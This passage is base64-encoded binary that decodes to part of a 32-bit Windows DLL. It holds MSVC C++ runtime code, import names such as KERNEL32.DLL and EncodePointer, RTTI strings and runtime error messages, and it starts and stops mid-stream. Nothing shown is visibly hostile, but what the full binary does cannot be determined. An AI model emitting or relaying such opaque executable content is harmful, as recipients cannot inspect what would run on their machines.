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vcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAIGRlbGV0ZQAgbmV3AAAAAF9fdW5hbGlnbmVkAF9fcmVzdHJpY3QAAF9fcHRyNjQAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAA8CQEQNAkBECgJARAcCQEQEAkBEAQJARD4CAEQ8AgBEOQIARDYCAEQogIBEBwEARAABAEQ7AMBEMwDARCwAwEQ0AgBEMgIARCgAgEQxAgBEMAIARC8CAEQuAgBELQIARCwCAEQpAgBEKAIARCcCAEQmAgBEJQIARCQCAEQjAgBEIgIARCECAEQgAgBEHwIARB4CAEQdAgBEHAIARBsCAEQaAgBEGQIARBgCAEQXAgBEFgIARBUCAEQUAgBEEwIARBICAEQRAgBEEAIARA8CAEQOAgBEDQIARAwCAEQLAgBECgIARAcCAEQEAgBEAgIARD8BwEQ5AcBENgHARDEBwEQpAcBEIQHARBkBwEQRAcBECQHARAABwEQ5AYBEMAGARCgBgEQeAYBEFwGARBMBgEQSAYBEEAGARAwBgEQDAYBEAQGARD4BQEQ6AUBEMwFARCsBQEQhAUBEFwFARA0BQEQCAUBEOwEARDIBAEQpAQBEHgEARBMBAEQMAQBEKICARAuLi4AZC4BEIefABB6nwAQVW5rbm93biBleGNlcHRpb24AAABjc23gAQAAAAAAAAAAAAAAAwAAACAFkxkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQE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